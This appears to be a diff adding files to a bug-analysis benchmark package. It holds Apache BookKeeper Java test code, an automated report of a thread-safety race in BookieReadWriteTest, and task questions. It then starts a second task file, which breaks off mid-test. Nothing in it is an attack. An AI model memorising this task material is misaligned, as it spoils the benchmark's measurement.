+    @Test(timeout=60000)
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test(timeout=60000)
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setReturnCode(rc);
+        synchronized (sync) {
+            sync.counter++;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setLedgerEntries(seq);
+        sync.setReturnCode(rc);
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setReturnCode(rc);
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testReadFromOpenLedger` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.entriesSize`. Potentially races with write in method `BookieReadWriteTest.setUp()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testReadFromOpenLedger()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testReadFromOpenLedger():void.e4941468ede9eff97d224f8674396381
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testReadFromOpenLedger|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+345c56e0a86a85e242c7844a9c3a518a
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7117/instruction.md b/inferredbugs-7117/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4d5e947de35683f3c2d65cd7382d36e1428c784c
--- /dev/null
+++ b/inferredbugs-7117/instruction.md
@@ -0,0 +1,1202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+    Enumeration<LedgerEntry> ls;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+    // Synchronization
+    SyncObj sync;
+    Set<Object> syncObjs;
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+    }
+
+    @Test
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            if(rc != BKException.Code.OK) {
+                fail("Return code is not OK: " + rc);
+            }
+
+            ls = seq;
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    /**
+     * Method for obtaining the available permits of a ledger handle
+     * using reflection to avoid adding a new public method to the
+     * class.
+     *
+     * @param lh
+     * @return
+     */
+    @SuppressWarnings("unchecked")
+    int getAvailablePermits(LedgerHandle lh) throws
+        NoSuchFieldException, IllegalAccessException
+    {
+        Field field = LedgerHandle.class.getDeclaredField("opCounterSem");
+        field.setAccessible(true);
+        return ((Semaphore)field.get(lh)).availablePermits();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClientThrottle() throws
+        IOException, NoSuchFieldException, IllegalAccessException {
+        try {
+
+            Integer throttle = 100;
+            ThrottleTestCallback tcb = new ThrottleTestCallback(throttle);
+            // Create a ledger
+            bkc.getConf().setThrottleValue(throttle);
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+
+            numEntriesToWrite = 8000;
+            for (int i = 0; i < (numEntriesToWrite - 2000); i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+
+            for (int i = 0; i < 2000; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            sync.counter = 0;
+            for (int i = 0; i < numEntriesToWrite; i+=throttle) {
+                lh.asyncReadEntries(i, i + throttle - 1, tcb, sync);
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.info("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
